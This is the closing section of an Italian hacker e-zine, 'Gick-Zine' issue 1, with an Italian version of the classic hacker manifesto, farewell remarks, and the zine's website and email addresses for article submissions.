|Noi cerchiamo la conoscenza... e voi ci chiamate criminali. |
|Noi esistiamo senza colore della pelle, senza nazionalità, senza pregiudizi reli|
|giosi... e voi ci chiamate criminali. Voi costruite bombe atomiche, voi fate la |
|guerra, voi uccidete, spergiurate, e ci mentite e tentate di farci credere che è|
|per il nostro bene, eppure siamo noi i criminali. |
| |
|Si, sono un criminale. Il mio crimine è la curiosità. Il mio crimine è quello di|
|giudicare la gente in base a quello che pensa e dice, non per come appare. |
|La mia colpa è quella di essere più furbo di voi e, per questo, non potrete perd|
|onarmi. |
| |
|Io sono un hacker, e questo è il mio manifesto. Voi potete fermare questo indi- |
|viduo, ma non potete fermarci tutti... dopotutto, siamo tutti uguali! |
| |
+--------------------------------------------------------------------------------+
____ _ _
/ ___|___ _ __ ___| |_ _ ___(_) ___ _ __ ___
| | / _ \| '_ \ / __| | | | / __| |/ _ \| '_ \ / _ \
| |__| (_) | | | | (__| | |_| \__ \ | (_) | | | | __/
\____\___/|_| |_|\___|_|\__,_|___/_|\___/|_| |_|\___|
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [CONCLUSIONE] -=[#1]=- |
| Cenni Finali -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|Bene, questo primo numero della Zine è giunto al termine, spero che sia stato |
|utile a qualcuno... |
| |
|Vi ricordo che siete tutti invitati a inviare i vostri articoli all'indirizzo: |
|articoli@gick.cjb.net |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [CONCLUSIONE] -=[#2]=- |
| Dove Trovarci -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| SitoWeb: www.gick.cjb.net |
| |
| e-m@il: mail@gick.cjb.net |
| |
| Per inviare gli articoli: articoli@gick.cjb.net |
| |
| Ciao a tutti e alla prossima puntata... |
| |
+--------------------------------------------------------------------------------+